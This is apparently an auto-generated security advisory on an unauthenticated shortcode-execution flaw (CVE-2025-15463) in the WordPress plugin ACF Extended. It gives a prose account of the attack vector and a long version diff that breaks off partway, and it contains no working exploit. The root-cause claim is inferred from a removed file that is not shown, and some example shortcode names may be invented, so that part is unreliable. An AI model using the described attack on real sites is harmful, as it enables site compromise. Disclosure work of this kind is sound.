Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2025-15463: Advanced Custom Fields: Extended <= 0.9.2.3 – Unauthenticated Arbitrary Shortcode Execution (acf-extended)

Plugin acf-extended
Severity Medium (CVSS 6.5)
CWE 94
Vulnerable Version 0.9.2.3
Patched Version 0.9.2.4
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15463:

This vulnerability allows unauthenticated attackers to execute arbitrary WordPress shortcodes in the Advanced Custom Fields: Extended (ACF Extended) plugin versions up to and including 0.9.2.3. The flaw resides in the plugin’s form handling logic where user-supplied input flows into do_shortcode() without proper validation or sanitization. The vulnerability carries a CVSS score of 6.5, reflecting its medium-to-high severity due to the lack of authentication requirements and the broad range of shortcode-based attacks possible.

The root cause lies in the missing input validation before executing shortcodes. The diff shows several structural changes across the codebase, but the key security fix is not isolated to a single function. The patch removes the file includes/modules/form/module-form-format.php (line -202 of acf-extended.php) which previously contained the vulnerable format value handling. This file was referenced in the main plugin file but completely removed in the patched version. Additionally, the patch introduces new functions in includes/acfe-form-functions.php, specifically acfe_form_format_value() and acfe_form_format_value_array(), which implement proper value formatting through acf_format_value() instead of directly calling do_shortcode() on unsanitized input. The removal of the old format file and the addition of these sanitized formatting functions indicate that the previous implementation executed user-controlled content through do_shortcode() without validation.

An attacker can exploit this vulnerability by sending a crafted request to any WordPress AJAX endpoint or form submission handler that processes user input through the plugin’s form format functionality. Since the vulnerability does not require authentication, any visitor can trigger it. The attack vector involves supplying a shortcode string (e.g., [wp_cli_command] or [do_wp_action]) as a field value in a form submission. When the plugin processes this value through its format routine, the unvalidated input reaches do_shortcode(), which will execute the attacker’s shortcode. The exact endpoint depends on the specific form implementation, but any publicly accessible form using ACF Extended’s render functionality is exploitable.

The patch corrects this by removing the vulnerable format file entirely and replacing the format logic with safe functions that call acf_format_value() instead of do_shortcode(). The new acfe_form_format_value() function uses ACF’s native formatting which applies proper escaping and validation. The acfe_form_format_value_array() function safely converts array values to strings without invoking shortcode execution. By eliminating the direct do_shortcode() call on unsanitized data, the patch prevents arbitrary shortcode execution.

Successful exploitation enables an unauthenticated attacker to execute any WordPress shortcode available on the site. This can include malicious shortcodes that read sensitive data (user information, database contents), trigger destructive actions (deleting posts, modifying settings), or execute arbitrary PHP code if a code-execution shortcode exists (e.g., from another plugin). The impact ranges from information disclosure to complete site compromise, depending on which shortcodes are available in the WordPress environment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acf-extended/acf-extended.php
+++ b/acf-extended/acf-extended.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Advanced Custom Fields: Extended
  * Description: All-in-one enhancement suite that improves WordPress & Advanced Custom Fields.
- * Version:     0.9.2.3
+ * Version:     0.9.2.4
  * Author:      ACF Extended
  * Plugin URI:  https://www.acf-extended.com
  * Author URI:  https://www.acf-extended.com
@@ -19,7 +19,7 @@
 class ACFE{

     // vars
-    var $version = '0.9.2.3';
+    var $version = '0.9.2.4';

     /**
      * construct
@@ -152,11 +152,12 @@
         add_action('acf/include_admin_tools',   array($this, 'include_admin_tools_late'), 20);

         // compatibility
-        acfe_include('includes/compatibility-acf-6.0.php');
-        acfe_include('includes/compatibility-acf-6.4.php');
+        acfe_include('includes/compatibility-acf-5.8.php');
+        acfe_include('includes/compatibility-acf-5.9.php');
         acfe_include('includes/compatibility-acf-6.5.php');

         // admin
+        acfe_include('includes/admin/admin.php');
         acfe_include('includes/admin/menu.php');
         acfe_include('includes/admin/plugins.php');
         acfe_include('includes/admin/settings.php');
@@ -166,6 +167,7 @@
         acfe_include('includes/field-extend.php');
         acfe_include('includes/local-meta.php');
         acfe_include('includes/multilang.php');
+        acfe_include('includes/revisions.php');
         acfe_include('includes/settings.php');
         acfe_include('includes/template-tags.php');
         acfe_include('includes/upgrades.php');
@@ -197,7 +199,6 @@
         acfe_include('includes/modules/form/module-form-compatibility.php');
         acfe_include('includes/modules/form/module-form-deprecated.php');
         acfe_include('includes/modules/form/module-form-fields.php');
-        acfe_include('includes/modules/form/module-form-format.php');
         acfe_include('includes/modules/form/module-form-front.php');
         acfe_include('includes/modules/form/module-form-front-hooks.php');
         acfe_include('includes/modules/form/module-form-front-render.php');
@@ -247,7 +248,7 @@
      */
     function init(){

-        // action
+        // action:init
         do_action('acfe/init');

         // core
@@ -259,6 +260,8 @@
         acfe_include('includes/fields/field-clone.php');
         acfe_include('includes/fields/field-file.php');
         acfe_include('includes/fields/field-flexible-content.php');
+        acfe_include('includes/fields/field-gallery.php');
+        acfe_include('includes/fields/field-google-map.php');
         acfe_include('includes/fields/field-group.php');
         acfe_include('includes/fields/field-image.php');
         acfe_include('includes/fields/field-relationship.php');
@@ -293,11 +296,17 @@
         acfe_include('includes/field-groups/field-groups-local.php');
         acfe_include('includes/field-groups/field-types.php');

+        // forms
+        acfe_include('includes/forms/form-post-type-archive.php');
+        acfe_include('includes/forms/form-post-type-list.php');
+        acfe_include('includes/forms/form-taxonomy-list.php');
+
         // locations
-        acfe_include('includes/locations/post-type-all.php');
-        acfe_include('includes/locations/post-type-archive.php');
-        acfe_include('includes/locations/post-type-list.php');
-        acfe_include('includes/locations/taxonomy-list.php');
+        acfe_include('includes/locations/location.php');
+        acfe_include('includes/locations/location-post-type-all.php');
+        acfe_include('includes/locations/location-post-type-archive.php');
+        acfe_include('includes/locations/location-post-type-list.php');
+        acfe_include('includes/locations/location-taxonomy-list.php');

         // modules
         acfe_include('includes/modules/author.php');
@@ -314,6 +323,9 @@
         acfe_include('includes/modules/performance/module-performance-ultra.php');
         acfe_include('includes/modules/performance/module-performance-ultra-fields.php');
         acfe_include('includes/modules/performance/module-performance-ultra-revisions.php');
+
+        // action:ready
+        do_action('acfe/ready');

     }

@@ -374,7 +386,7 @@
     /**
      * include_admin_tools_late
      *
-     * acf/include_admin_tools:99
+     * acf/include_admin_tools:20
      */
     function include_admin_tools_late(){

--- a/acf-extended/includes/acfe-form-functions.php
+++ b/acf-extended/includes/acfe-form-functions.php
@@ -267,6 +267,119 @@


 /**
+ * acfe_form_format_value
+ *
+ * @param $raw_value
+ * @param $field
+ * @param $deprecated
+ *
+ * @return mixed
+ */
+function acfe_form_format_value($raw_value, $field, $deprecated = null){
+
+    /**
+     * deprecated backwards compatibility
+     *
+     * @since 0.8.8
+     */
+    if($deprecated !== null){
+
+        // second argument was $post_id
+        $field = $deprecated;
+
+        // deprecated warning
+        _deprecated_function('ACF Extended: acfe_form_format_value($raw_value, $field, $deprecated) 3rd argument', '0.8.8', 'pass field array as 2nd argument');
+
+    }
+
+    // vars
+    $form = acfe_get_context('form');
+    $post_id = $form['post_id'];
+
+    // check & delete store
+    // this fix an issue where different group subfields with same name will output same value
+    // this is because group subfields have singular name. ie: 'textarea' instead of 'group_textarea'
+    $store = acf_get_store('values');
+    if($store->has("{$post_id}:{$field['name']}:formatted")){
+        $store->remove("{$post_id}:{$field['name']}:formatted");
+    }
+
+    // default format value
+    $value = acf_format_value($raw_value, $post_id, $field);
+
+    // filters
+    $value = apply_filters("acfe/form/format_value", $value, $raw_value, $post_id, $field, $form);
+
+    // return
+    return $value;
+
+}
+
+
+/**
+ * acfe_form_format_value_array
+ *
+ * @param $value
+ *
+ * @return mixed|string
+ */
+function acfe_form_format_value_array($value){
+
+    // bail early
+    if(!is_array($value)){
+        return $value;
+    }
+
+    // vars
+    $return = array();
+
+    // loop value
+    foreach($value as $i => $v){
+
+        $key = !is_numeric($i) ? "$i: " : '';
+
+        if(is_object($v)){
+            $v = (array) $v;
+        }
+
+        $return[] = $key . acfe_form_format_value_array($v);
+
+    }
+
+    return implode(', ', $return);
+
+}
+
+
+/**
+ * _acfe_form_format_value_variations
+ *
+ * @hook acfe/form/format_value
+ */
+add_filter('acfe/form/format_value', '_acfe_form_format_value_variations', 9, 5);
+function _acfe_form_format_value_variations($value, $raw_value, $post_id, $field, $form){
+
+    $value = apply_filters("acfe/form/format_value/form={$form['name']}",  $value, $raw_value, $post_id, $field, $form);
+    $value = apply_filters("acfe/form/format_value/type={$field['type']}", $value, $raw_value, $post_id, $field, $form);
+    $value = apply_filters("acfe/form/format_value/key={$field['key']}",   $value, $raw_value, $post_id, $field, $form);
+    $value = apply_filters("acfe/form/format_value/name={$field['name']}", $value, $raw_value, $post_id, $field, $form);
+
+    // format object value
+    if(is_object($value)){
+        $value = (array) $value;
+    }
+
+    // format array value
+    if(is_array($value)){
+        $value = acfe_form_format_value_array($value);
+    }
+
+    return $value;
+
+}
+
+
+/**
  * acfe_form_unique_action_id
  *
  * Make actions names unique
--- a/acf-extended/includes/acfe-helper-functions.php
+++ b/acf-extended/includes/acfe-helper-functions.php
@@ -1408,9 +1408,10 @@
     // vars
     $args = func_get_args();

-    // loop
+    // loop arguments
     foreach($args as $i => $arg){

+        // parse log
         $arg = acfe_parse_log($arg);

         // array | object
@@ -1452,6 +1453,10 @@
     // null
     }elseif($arg === null){
         $arg = '(null)';
+
+    // empty string
+    }elseif($arg === ''){
+        $arg = '""';
     }

     // return
--- a/acf-extended/includes/acfe-meta-functions.php
+++ b/acf-extended/includes/acfe-meta-functions.php
@@ -396,4 +396,61 @@
     // return
     return $orphan;

+}
+
+
+/**
+ * acfe_save_post_revision
+ *
+ * This function will copy meta from a post to it's latest revision
+ * This is a copy from native ACF function before ACF 6.4.
+ *
+ * Since ACF 6.4, ACF use different meta_location logic
+ *
+ * @param $post_id
+ *
+ * @return void
+ */
+function acfe_save_post_revision($post_id = 0){
+
+	// get latest revision
+	$revision = acf_get_post_latest_revision($post_id);
+
+	// save
+	if($revision){
+		acfe_copy_postmeta($post_id, $revision->ID);
+	}
+}
+
+
+/**
+ * acfe_copy_postmeta
+ *
+ * Copies meta from one post to another. Useful for saving and restoring revisions.
+ * This is a copy from native ACF function before ACF 6.4.
+ *
+ * Since ACF 6.4, ACF use different meta_location logic
+ *
+ * @param $from_post_id
+ * @param $to_post_id
+ *
+ * @return void
+ */
+function acfe_copy_postmeta($from_post_id = 0, $to_post_id = 0){
+
+	// Get all postmeta.
+	$meta = acf_get_meta($from_post_id);
+
+	// Check meta.
+	if($meta){
+
+		// Slash data. WP expects all data to be slashed and will unslash it (fixes '' character issues).
+		$meta = wp_slash($meta);
+
+		// Loop over meta.
+		foreach($meta as $name => $value){
+			acf_update_metadata($to_post_id, $name, $value);
+		}
+
+	}
 }
 No newline at end of file
--- a/acf-extended/includes/admin/admin.php
+++ b/acf-extended/includes/admin/admin.php
@@ -0,0 +1,297 @@
+<?php
+
+if(!defined('ABSPATH')){
+    exit;
+}
+
+if(!class_exists('acfe_admin')):
+
+class acfe_admin{
+
+    /**
+     * construct
+     */
+    function __construct(){
+
+        // acf-updates & acf-tools pages
+        add_action('admin_menu',                                    array($this, 'admin_menu'));
+
+        // acf-field-groups (ACF 6.0)
+        add_action('acfe/load_posts/post_type=acf-field-group',     array($this, 'load_posts'));
+        add_action('acfe/load_post/post_type=acf-field-group',      array($this, 'load_post'));
+
+        // acf-post-type (ACF 6.1)
+        add_action('acfe/load_posts/post_type=acf-post-type',       array($this, 'load_posts'));
+        add_action('acfe/load_post/post_type=acf-post-type',        array($this, 'load_post'));
+
+        // acf-taxonomy (ACF 6.1)
+        add_action('acfe/load_posts/post_type=acf-taxonomy',        array($this, 'load_posts'));
+        add_action('acfe/load_post/post_type=acf-taxonomy',         array($this, 'load_post'));
+
+        // acf-ui-options-page (ACF 6.2)
+        add_action('acfe/load_posts/post_type=acf-ui-options-page', array($this, 'load_posts'));
+        add_action('acfe/load_post/post_type=acf-ui-options-page',  array($this, 'load_post'));
+
+        // additional hooks
+        add_action('current_screen',                                array($this, 'current_screen'));
+        add_filter('acf/validate_field',                            array($this, 'validate_field'));
+
+        // re-add sidebar submitdiv metabox
+        acfe_replace_action('load-post.php',     array('ACF_Form_Post', 'initialize'), array($this, 'acf_load_post'));
+        acfe_replace_action('load-post-new.php', array('ACF_Form_Post', 'initialize'), array($this, 'acf_load_post'));
+
+    }
+
+
+    /**
+     * admin_menu
+     */
+    function admin_menu(){
+
+        // get pages
+        $updates = get_plugin_page_hookname('acf-settings-updates', 'edit.php?post_type=acf-field-group');
+        $tools = get_plugin_page_hookname('acf-tools', 'edit.php?post_type=acf-field-group');
+
+        // actions
+        add_action("load-{$updates}", array($this, 'load_acf_page'));
+        add_action("load-{$tools}", array($this, 'load_acf_page'));
+
+    }
+
+
+    /**
+     * load_acf_page
+     */
+    function load_acf_page(){
+        add_filter('admin_body_class', array($this, 'admin_body_class'));
+    }
+
+
+    /**
+     * load_posts
+     */
+    function load_posts(){
+        add_filter('admin_body_class', array($this, 'admin_body_class'));
+    }
+
+
+    /**
+     * load_post
+     */
+    function load_post(){
+        add_filter('admin_body_class',     array($this, 'admin_body_class'));
+        add_action('acf/input/admin_head', array($this, 'admin_head'), 20);
+    }
+
+
+    /**
+     * acf_load_post
+     *
+     * Rewrites the ACF_Form_Post initialize which remove the submitdiv metabox
+     *
+     * advanced-custom-fields-pro/includes/forms/form-post.php:48
+     */
+    function acf_load_post(){
+
+        // globals
+        global $typenow;
+
+        // restrict specific post types
+        $restricted = array('acf-field-group', 'acf-post-type', 'acf-taxonomy', 'acf-ui-options-page', 'attachment');
+        if(in_array($typenow, $restricted)){
+            return;
+        }
+
+        // enqueue scripts
+        acf_enqueue_scripts(array(
+            'uploader' => true,
+        ));
+
+        // actions
+        add_action('add_meta_boxes', array(acf_get_instance('ACF_Form_Post'), 'add_meta_boxes'), 10, 2);
+
+    }
+
+
+    /**
+     * admin_body_class
+     *
+     * Adds acf-admin-6 class to body
+     */
+    function admin_body_class($classes){
+
+        // filter
+        $new_class = apply_filters('acfe/acf_admin_body_class', 'acf-admin-6');
+
+        // append class
+        if(!empty($new_class)){
+            $classes .= ' ' . $new_class;
+        }
+
+        // return
+        return $classes;
+    }
+
+
+    /**
+     * admin_head
+     *
+     */
+    function admin_head(){
+
+        // remove forced 1 column on 'screen_layout' options
+        acfe_remove_filter('get_user_option_screen_layout_acf-field-group',     array('acf_admin_field_group', 'screen_layout'));
+        acfe_remove_filter('get_user_option_screen_layout_acf-post-type',       array('ACF_Admin_Post_type', 'screen_layout'));
+        acfe_remove_filter('get_user_option_screen_layout_acf-taxonomy',        array('ACF_Admin_Taxonomy', 'screen_layout'));
+        acfe_remove_filter('get_user_option_screen_layout_acf-ui-options-page', array('ACF_Admin_UI_Options_Page', 'screen_layout'));
+
+        // base url
+        $default_icon = acf_get_url('assets/images/icons/icon-fields.svg');
+
+        // generate default field type missing icon
+        ?>
+        <style>
+            .field-type-icon:before{
+                -webkit-mask-image: url(<?php echo $default_icon; ?>);
+                mask-image: url(<?php echo $default_icon; ?>);
+            }
+        </style>
+        <?php
+
+    }
+
+
+    /**
+     * current_screen
+     *
+     * Remove ACF Title header bar on ACFE modules
+     *
+     * @param $screen
+     */
+    function current_screen($screen){
+
+        // allowed screens
+        $allowed = array(
+            'edit-acf-field-group-category',
+            'edit-acfe-dbt',
+            'acfe-dbt',
+            'edit-acfe-template',
+            'acfe-template',
+            'edit-acfe-form',
+            'acfe-form'
+        );
+
+        // check screen
+        if(acfe_maybe_get($screen, 'post_type') === 'acf-field-group' || acf_is_screen($allowed)){
+
+            // add top menu icons
+            add_action('admin_head', array($this, 'admin_head_navigation'));
+
+            // remove the topbar "white banner" with the page title
+            if(acf_is_screen($allowed)){
+                global $acf_page_title;
+                $acf_page_title = '';
+            }
+
+        }
+
+        // acf 6.1 removed topbar for third party submenu
+        // checking $screen[post_type] to avoid adding the global navigation twice (throws: Cannot redeclare acf_print_menu_section())
+        // this fix an issue when visiting custom admin url like: edit-tags.php?taxonomy=acf-field-group-category&post_type=acf-field-group
+        if(acf_is_screen($allowed) && acfe_maybe_get($screen, 'post_type') !== 'acf-field-group'){
+            add_action('in_admin_header', array($this, 'in_admin_header'));
+        }
+
+    }
+
+
+    /**
+     * in_admin_header
+     *
+     * @return void
+     */
+    function in_admin_header(){
+
+        // safeguard: bail early in case global navigation is already loaded
+        if(function_exists('acf_print_menu_section')){
+            return;
+        }
+
+        // load view
+        acf_get_view(apply_filters('acfe/acf_admin_navigation_page', 'global/navigation'));
+
+    }
+
+
+    /**
+     * admin_head_navigation
+     *
+     * ACF >= 6.0 && <= 6.1 Add ACF admin head navigation icons to ACFE modules
+     * Starting ACF 6.1, ACF add custom submenus into a "More" menu, which doesn't show icons anymore
+     */
+    function admin_head_navigation(){
+
+        // base url
+        $base_url = acf_get_url('assets/images/');
+
+        // pages rules
+        $pages = array(
+            'categories'                                   => 'field-type-icons/icon-field-taxonomy.svg',
+            'edit-tagsphptaxonomyacf-field-group-category' => 'field-type-icons/icon-field-taxonomy.svg',
+            'block-types'                                  => 'icons/icon-fields.svg',
+            'acfe-dbt'                                     => 'icons/icon-fields.svg',
+            'forms'                                        => 'field-type-icons/icon-field-post-object.svg',
+            'acfe-form'                                    => 'field-type-icons/icon-field-post-object.svg',
+            'options-pages'                                => 'field-type-icons/icon-field-group.svg',
+            'acfe-dop'                                     => 'field-type-icons/icon-field-group.svg',
+            'settings'                                     => 'icons/icon-settings.svg',
+            'acfe-settings'                                => 'icons/icon-settings.svg',
+            'templates'                                    => 'field-type-icons/icon-field-wysiwyg.svg',
+            'acfe-template'                                => 'field-type-icons/icon-field-wysiwyg.svg',
+        );
+
+        // generate css
+        ?>
+        <style>
+            <?php foreach($pages as $page => $icon): ?>
+            .acf-admin-toolbar .acf-header-tab-<?php echo $page; ?> i.acf-icon{
+                display: inline-flex;
+                -webkit-mask-image: url(<?php echo $base_url . $icon; ?>);
+                mask-image: url(<?php echo $base_url . $icon; ?>);
+            }
+            <?php endforeach; ?>
+
+            .acf-icon.acf-icon-plus{
+                -webkit-mask-image: url(<?php echo $base_url; ?>icons/icon-add.svg);
+                mask-image: url(<?php echo $base_url; ?>icons/icon-add.svg);
+            }
+        </style>
+        <?php
+
+    }
+
+    /**
+     * validate_field
+     *
+     * Change instructions to hint for appended field settings
+     *
+     * @param $field
+     *
+     * @return mixed
+     */
+    function validate_field($field){
+
+        if(acf_maybe_get($field, '_appended') && acf_maybe_get($field, 'instructions')){
+            $field['hint'] = $field['instructions'];
+            $field['instructions'] = '';
+        }
+
+        return $field;
+
+    }
+
+}
+
+acf_new_instance('acfe_admin');
+
+endif;
 No newline at end of file
--- a/acf-extended/includes/admin/menu.php
+++ b/acf-extended/includes/admin/menu.php
@@ -9,54 +9,15 @@
 class acfe_admin_menu{

     /**
-     * Construct
+     * construct
      */
     function __construct(){
-
-        add_action('current_screen', array($this, 'current_screen'));
-        add_action('admin_menu',     array($this, 'admin_menu'), 999);
-
-    }
-
-    /**
-     * current_screen
-     *
-     * @param $screen
-     */
-    function current_screen($screen){

-        // check version
-        if(acf_version_compare(acf_get_setting('version'),  '>=', '5.9')){
-
-            // allowed screens
-            $allowed = array(
-                'edit-acf-field-group-category',
-                'edit-acfe-dbt',
-                'acfe-dbt',
-                'edit-acfe-template',
-                'acfe-template',
-                'edit-acfe-form',
-                'acfe-form'
-            );
-
-            // chgeck allowed
-            if(acf_is_screen($allowed)){
-                add_action('in_admin_header', array($this, 'in_admin_header'));
-            }
-
-        }
+        add_action('admin_menu', array($this, 'admin_menu'), 999);

     }


-    /**
-     * in_admin_header
-     */
-    function in_admin_header(){
-        acf_get_view('html-admin-navigation');
-    }
-
-
     /**
      * admin_menu
      *
--- a/acf-extended/includes/admin/plugins.php
+++ b/acf-extended/includes/admin/plugins.php
@@ -70,6 +70,6 @@

 }

-new acfe_admin_plugins();
+acf_new_instance('acfe_admin_plugins');

 endif;
 No newline at end of file
--- a/acf-extended/includes/admin/tools/module-export.php
+++ b/acf-extended/includes/admin/tools/module-export.php
@@ -65,14 +65,11 @@

         // vars
         $choices = array();
-        $items = $this->module->get_raw_items();
-
-        if($items){
-            foreach($items as $item){
-
-                $choices[ $item['name'] ] = esc_html($item['label']);
-
-            }
+        $items = $this->module->get_items('db');
+
+        // loop db items
+        foreach($items as $item){
+            $choices[ $item['name'] ] = esc_html($item['label']);
         }

         ?>
@@ -454,11 +451,11 @@

         foreach($keys as $name){

-            // get item
-            $item = $this->module->get_raw_item($name);
+            // get db item
+            $db_item = $this->module->get_item($name, 'db');

-            if($item){
-                $data[] = $item;
+            if($db_item){
+                $data[] = $db_item;
             }

         }
--- a/acf-extended/includes/assets.php
+++ b/acf-extended/includes/assets.php
@@ -121,13 +121,14 @@

         // text
         $text = apply_filters('acfe/localize_text', array(
-            'Close'                                             => __('Close', 'acfe'),
-            'Update'                                            => __('Update', 'acfe'),
-            'Read more'                                         => __('Read more', 'acfe'),
-            'Details'                                           => __('Details', 'acfe'),
-            'Debug'                                             => __('Debug', 'acfe'),
-            'Data has been copied to your clipboard.'           => __('Data has been copied to your clipboard.', 'acfe'),
-            'Please copy the following data to your clipboard.' => __('Please copy the following data to your clipboard.', 'acfe'),
+            'Apply'                                                            => __('Apply', 'acfe'),
+            'Close'                                                            => __('Close', 'acfe'),
+            'Update'                                                           => __('Update', 'acfe'),
+            'Read more'                                                        => __('Read more', 'acfe'),
+            'Details'                                                          => __('Details', 'acfe'),
+            'Debug'                                                            => __('Debug', 'acfe'),
+            'Local file is different from the version in database.'            => __('Local file is different from the version in database.', 'acfe'),
+            'Do you want to replace the local file with the current settings?' => __('Do you want to replace the local file with the current settings?', 'acfe'),
         ));

         acf_localize_text($text);
--- a/acf-extended/includes/compatibility-acf-5.8.php
+++ b/acf-extended/includes/compatibility-acf-5.8.php
@@ -0,0 +1,135 @@
+<?php
+
+if(!defined('ABSPATH')){
+    exit;
+}
+
+// check version
+if(!acfe_is_acf('5.8', '5.9')){
+    return;
+}
+
+if(!class_exists('acfe_compatibility_acf_58')):
+
+class acfe_compatibility_acf_58{
+
+    /**
+     * construct
+     */
+    function __construct(){
+
+        add_action('current_screen',                                 array($this, 'current_screen'));
+        add_action('after_plugin_row_' . plugin_basename(ACFE_FILE), array($this, 'after_plugin_row'), 5, 3);
+
+    }
+
+
+    /**
+     * current_screen
+     *
+     * @param $screen
+     *
+     * @return void
+     */
+    function current_screen($screen){
+
+        // global
+        global $pagenow;
+
+        // check screen
+        if($pagenow === 'plugins.php' || $pagenow === 'plugin-install.php'){
+            acf_log('[ACF Extended] Support of ACF Pro 5.8 (2019) will be dropped on September 2026. Please upgrade to ACF Pro 5.9 or higher to maintain compatibility with future versions of ACF Extended.');
+        }
+
+    }
+
+
+    /**
+     * after_plugin_row
+     *
+     * @param $plugin_file
+     * @param $plugin_data
+     * @param $status
+     *
+     * @return void
+     */
+    function after_plugin_row($plugin_file, $plugin_data, $status){
+
+        // vars
+        $colspan = version_compare($GLOBALS['wp_version'], '5.5', '<') ? 3 : 4;
+
+        // message
+        $message = __('Support of ACF Pro 5.8 (2019) will be dropped on September 2026. Please upgrade to ACF Pro 5.9 or higher to maintain compatibility with future versions of ACF Extended.', 'acfe');
+
+        // class
+        $class = 'acfe-plugin-tr';
+        if(isset($plugin_data['update']) && !empty($plugin_data['update'])){
+            $class .= ' acfe-plugin-tr-update';
+        }
+
+        ?>
+        <style>
+            .plugins tr[data-plugin='<?php echo $plugin_file; ?>'] th,
+            .plugins tr[data-plugin='<?php echo $plugin_file; ?>'] td{
+                box-shadow:none;
+            }
+        </style>
+
+        <tr class="plugin-update-tr active <?php echo $class; ?>">
+            <td colspan="<?php echo $colspan; ?>" class="plugin-update colspanchange">
+                <div class="update-message notice inline notice-error notice-alt">
+                    <p><?php echo $message; ?></p>
+                </div>
+            </td>
+        </tr>
+        <?php
+
+    }
+
+}
+
+acf_new_instance('acfe_compatibility_acf_58');
+
+endif;
+
+if(!function_exists('acf_get_location_type')){
+    function acf_get_location_type(){
+        return array();
+    }
+}
+
+if(!function_exists('acf_enqueue_script')){
+    function acf_enqueue_script(){
+        acf_enqueue_scripts();
+    }
+}
+
+if(!function_exists('acf_esc_attrs')){
+    function acf_esc_attrs($atts = array()){
+        return acf_esc_atts($atts);
+    }
+}
+
+if(!function_exists('acf_get_user_result')){
+    function acf_get_user_result($user){
+
+        // Vars.
+        $id = $user->ID;
+        $text = $user->user_login;
+
+        // Add name.
+        if($user->first_name && $user->last_name){
+            $text .= " ({$user->first_name} {$user->last_name})";
+        }elseif($user->first_name){
+            $text .= " ({$user->first_name})";
+        }
+        return compact('id', 'text');
+    }
+}
+
+if(!function_exists('acf_not_empty')){
+    function acf_not_empty($var){
+        return ($var || is_numeric($var));
+    }
+}
+
--- a/acf-extended/includes/compatibility-acf-5.9.php
+++ b/acf-extended/includes/compatibility-acf-5.9.php
@@ -0,0 +1,62 @@
+<?php
+
+if(!defined('ABSPATH')){
+    exit;
+}
+
+// check version
+if(!acfe_is_acf('5.9', '6.1')){
+    return;
+}
+
+if(!class_exists('acfe_compatibility_acf_59')):
+
+class acfe_compatibility_acf_59{
+
+    /**
+     * construct
+     */
+    function __construct(){
+
+        add_filter('acfe/acf_admin_navigation_page', array($this, 'acf_admin_navigation_page'));
+        add_filter('acfe/acf_admin_body_class',      array($this, 'acf_admin_body_class'));
+
+    }
+
+
+    /**
+     * acf_admin_navigation_page
+     *
+     * @param $page
+     *
+     * @return string
+     */
+    function acf_admin_navigation_page($page){
+        return 'html-admin-navigation';
+    }
+
+
+    /**
+     * acf_admin_body_class
+     *
+     * @param $new_class
+     *
+     * @return mixed|string
+     */
+    function acf_admin_body_class($new_class){
+
+        // ACF 6.0+ bail early
+        if(acfe_is_acf('6.0')){
+            return $new_class;
+        }
+
+        // remove acf 6.0 class
+        return '';
+
+    }
+
+}
+
+acf_new_instance('acfe_compatibility_acf_59');
+
+endif;
 No newline at end of file
--- a/acf-extended/includes/compatibility-acf-6.0.php
+++ b/acf-extended/includes/compatibility-acf-6.0.php
@@ -1,272 +0,0 @@
-<?php
-
-if(!defined('ABSPATH')){
-    exit;
-}
-
-// check version
-if(!acfe_is_acf_6()){
-    return;
-}
-
-if(!class_exists('acfe_compatibility_acf_6')):
-
-class acfe_compatibility_acf_6{
-
-    /**
-     * construct
-     */
-    function __construct(){
-
-        add_action('admin_menu',                                    array($this, 'admin_menu'));
-
-        // acf-field groups (6.0)
-        add_action('acfe/load_posts/post_type=acf-field-group',     array($this, 'load_posts'));
-        add_action('acfe/load_post/post_type=acf-field-group',      array($this, 'load_post'));
-
-        // acf-post type (6.1)
-        add_action('acfe/load_posts/post_type=acf-post-type',       array($this, 'load_posts'));
-        add_action('acfe/load_post/post_type=acf-post-type',        array($this, 'load_post'));
-
-        // acf-taxonomy (6.1)
-        add_action('acfe/load_posts/post_type=acf-taxonomy',        array($this, 'load_posts'));
-        add_action('acfe/load_post/post_type=acf-taxonomy',         array($this, 'load_post'));
-
-        // acf-ui-options-page (6.2)
-        add_action('acfe/load_posts/post_type=acf-ui-options-page', array($this, 'load_posts'));
-        add_action('acfe/load_post/post_type=acf-ui-options-page',  array($this, 'load_post'));
-
-        // additional hooks
-        add_action('current_screen',                                array($this, 'current_screen'));
-        add_filter('acf/validate_field',                            array($this, 'validate_field'));
-
-        // re-add sidebar submitdiv metabox
-        acfe_replace_action('load-post.php',     array('ACF_Form_Post', 'initialize'), array($this, 'acf_load_post'));
-        acfe_replace_action('load-post-new.php', array('ACF_Form_Post', 'initialize'), array($this, 'acf_load_post'));
-
-    }
-
-
-    /**
-     * admin_menu
-     */
-    function admin_menu(){
-
-        // get pages
-        $updates = get_plugin_page_hookname('acf-settings-updates', 'edit.php?post_type=acf-field-group');
-        $tools = get_plugin_page_hookname('acf-tools', 'edit.php?post_type=acf-field-group');
-
-        // actions
-        add_action("load-{$updates}", array($this, 'load_acf_page'));
-        add_action("load-{$tools}", array($this, 'load_acf_page'));
-
-    }
-
-
-    /**
-     * load_acf_page
-     */
-    function load_acf_page(){
-        add_filter('admin_body_class', array($this, 'admin_body_class'));
-    }
-
-
-    /**
-     * load_posts
-     */
-    function load_posts(){
-        add_filter('admin_body_class', array($this, 'admin_body_class'));
-    }
-
-
-    /**
-     * load_post
-     */
-    function load_post(){
-        add_filter('admin_body_class',     array($this, 'admin_body_class'));
-        add_action('acf/input/admin_head', array($this, 'admin_head'), 20);
-    }
-
-
-    /**
-     * acf_load_post
-     *
-     * Rewrites the ACF_Form_Post initialize which remove the submitdiv metabox
-     *
-     * advanced-custom-fields-pro/includes/forms/form-post.php:48
-     */
-    function acf_load_post(){
-
-        // globals
-        global $typenow;
-
-        // restrict specific post types
-        $restricted = array('acf-field-group', 'acf-post-type', 'acf-taxonomy', 'acf-ui-options-page', 'attachment');
-        if(in_array($typenow, $restricted)){
-            return;
-        }
-
-        // enqueue scripts
-        acf_enqueue_scripts(array(
-            'uploader' => true,
-        ));
-
-        // actions
-        add_action('add_meta_boxes', array(acf_get_instance('ACF_Form_Post'), 'add_meta_boxes'), 10, 2);
-
-    }
-
-
-    /**
-     * admin_body_class
-     *
-     * Adds acf-admin-6 class to body
-     */
-    function admin_body_class($classes){
-        $classes .= ' acf-admin-6';
-        return $classes;
-    }
-
-
-    /**
-     * admin_head
-     *
-     */
-    function admin_head(){
-
-        // remove forced 1 column on 'screen_layout' options
-        acfe_remove_filter('get_user_option_screen_layout_acf-field-group',     array('acf_admin_field_group', 'screen_layout'));
-        acfe_remove_filter('get_user_option_screen_layout_acf-post-type',       array('ACF_Admin_Post_type', 'screen_layout'));
-        acfe_remove_filter('get_user_option_screen_layout_acf-taxonomy',        array('ACF_Admin_Taxonomy', 'screen_layout'));
-        acfe_remove_filter('get_user_option_screen_layout_acf-ui-options-page', array('ACF_Admin_UI_Options_Page', 'screen_layout'));
-
-        // base url
-        $default_icon = acf_get_url('assets/images/icons/icon-fields.svg');
-
-        // generate default field type missing icon
-        ?>
-        <style>
